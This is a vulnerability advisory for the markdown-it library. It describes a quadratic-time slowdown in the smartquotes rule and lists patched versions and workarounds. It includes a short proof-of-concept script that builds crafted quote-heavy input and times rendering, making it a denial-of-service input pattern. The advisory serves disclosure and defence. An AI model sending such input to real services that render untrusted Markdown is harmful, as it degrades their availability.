markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes

Impact

When typographer: true is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.

Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.

The default configuration (typographer: false) is not affected, but this option is enabled with high probability.

Reproduction

import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const md = new MarkdownIt({ typographer: true })

for (const k of [2000, 4000, 8000, 16000, 32000]) {
  const input = '"a '.repeat(k) + "b' ".repeat(k)
  const start = performance.now()
  md.render(input)
  console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}

Result:

input size	time
12000	18ms
24000	47ms
48000	115ms
96000	428ms
192000	1586ms

Patches

Fixed in 15.0.2 and 14.3.2.

Workarounds

Disable typography with typographer: false, or disable only the smartquotes rule:

md.disable('smartquotes')